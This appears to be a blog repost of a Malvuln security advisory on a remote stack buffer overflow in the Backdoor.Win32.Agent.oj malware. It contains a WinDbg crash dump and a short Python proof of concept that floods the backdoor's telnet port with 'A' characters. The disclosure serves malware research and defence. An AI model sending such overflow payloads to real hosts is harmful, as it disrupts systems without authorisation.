Sunday, May 2, 2021

Backdoor.Win32.Agent.oj Buffer Overflow

Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/c1e92e04cdb432d83ea2610ef226d4cd.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Agent.oj
Vulnerability: Remote Stack Buffer Overflow
Description: The malware listens on TCP port 23. Third-party attackers can send a specially crafted payload, triggering a classic stack buffer overflow overwriting ECX, EIP registers.
Type: PE32
MD5: c1e92e04cdb432d83ea2610ef226d4cd
Vuln ID: MVID-2021-0196
Dropped files:
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 04/29/2021

Memory Dump:
(b18.1c64): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414141 edx=77b09d70 esi=00000000 edi=00000000
eip=41414141 esp=03151660 ebp=03151680 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
41414141 ?? ???

0:003> .ecxr
eax=00000000 ebx=00000000 ecx=41414141 edx=77b09d70 esi=00000000 edi=00000000
eip=41414141 esp=03151660 ebp=03151680 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
41414141 ?? ???

0:003> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************

*** WARNING: Unable to verify checksum for Backdoor.Win32.Agent.oj.c1e92e04cdb432d83ea2610ef226d4cd.exe
*** ERROR: Module load completed but symbols could not be loaded for Backdoor.Win32.Agent.oj.c1e92e04cdb432d83ea2610ef226d4cd.exe

FAULTING_IP:
Backdoor_Win32_Agent_oj_c1e92e04cdb432d83ea2610ef226d4cd+2255
00402255 88443418 mov byte ptr [esp+esi+18h],al

EXCEPTION_RECORD: 0324f9f4 -- (.exr 0x324f9f4)
ExceptionAddress: 00402255 (Backdoor_Win32_Agent_oj_c1e92e04cdb432d83ea2610ef226d4cd+0x00002255)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000001
Parameter[1]: 03250000
Attempt to write to address 03250000

PROCESS_NAME: Backdoor.Win32.Agent.oj.c1e92e04cdb432d83ea2610ef226d4cd.exe

ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.

EXCEPTION_PARAMETER1: 00000008

EXCEPTION_PARAMETER2: 41414141

WRITE_ADDRESS: 41414141

FOLLOWUP_IP:
Backdoor_Win32_Agent_oj_c1e92e04cdb432d83ea2610ef226d4cd+2255
00402255 88443418 mov byte ptr [esp+esi+18h],al

FAILED_INSTRUCTION_ADDRESS:
+2255
41414141 ?? ???

MOD_LIST: <ANALYSIS/>

NTGLOBALFLAG: 0

APPLICATION_VERIFIER_FLAGS: 0

IP_ON_HEAP: 02910b70
The fault address in not in any loaded module, please check your build's rebase
log at <releasedir>\bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.

IP_IN_FREE_BLOCK: 41414141

CONTEXT: 0324fa44 -- (.cxr 0x324fa44)
eax=00000041 ebx=7774e250 ecx=f2b2fa60 edx=0324fdc4 esi=00000144 edi=02910b70
eip=00402255 esp=0324fea4 ebp=743d1e90 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
Backdoor_Win32_Agent_oj_c1e92e04cdb432d83ea2610ef226d4cd+0x2255:
00402255 88443418 mov byte ptr [esp+esi+18h],al ss:002b:03250000=??
Resetting default scope

FAULTING_THREAD: ffffffff

BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

DEFAULT_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141

LAST_CONTROL_TRANSFER: from 02910b70 to 00402255

FRAME_ONE_INVALID: 1

STACK_TEXT:
0324fea4 00402255 backdoor_win32_agent_oj+0x2255
0324fea8 02910b70 unknown!unknown+0x0


STACK_COMMAND: .cxr 000000000324FA44 ; kb ; dds 324fea4 ; kb

SYMBOL_STACK_INDEX: 0

SYMBOL_NAME: backdoor_win32_agent_oj+2255

FOLLOWUP_NAME: MachineOwner

MODULE_NAME: Backdoor_Win32_Agent_oj_c1e92e04cdb432d83ea2610ef226d4cd

IMAGE_NAME: Backdoor.Win32.Agent.oj.c1e92e04cdb432d83ea2610ef226d4cd.exe

DEBUG_FLR_IMAGE_TIMESTAMP: 378468b1

FAILURE_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_Backdoor.Win32.Agent.oj.c1e92e04cdb432d83ea2610ef226d4cd.exe!Unknown

BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_backdoor_win32_agent_oj+2255



Exploit/PoC:
from socket import *

MALWARE_HOST="x.x.x.x"
PORT=23

def doit():
s=socket(AF_INET, SOCK_STREAM)
s.connect((MALWARE_HOST, PORT))

PAYLOADOR="A"*2879
s.send(PAYLOADOR)
s.close()

print("Backdoor.Win32.Agent.oj / Remote Stack Buffer Overflow")
print("MD5: c1e92e04cdb432d83ea2610ef226d4cd")
print("By Malvuln");

if __name__=="__main__":
doit()


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Thanks for everything Templateism - You should have written the code a little more complicated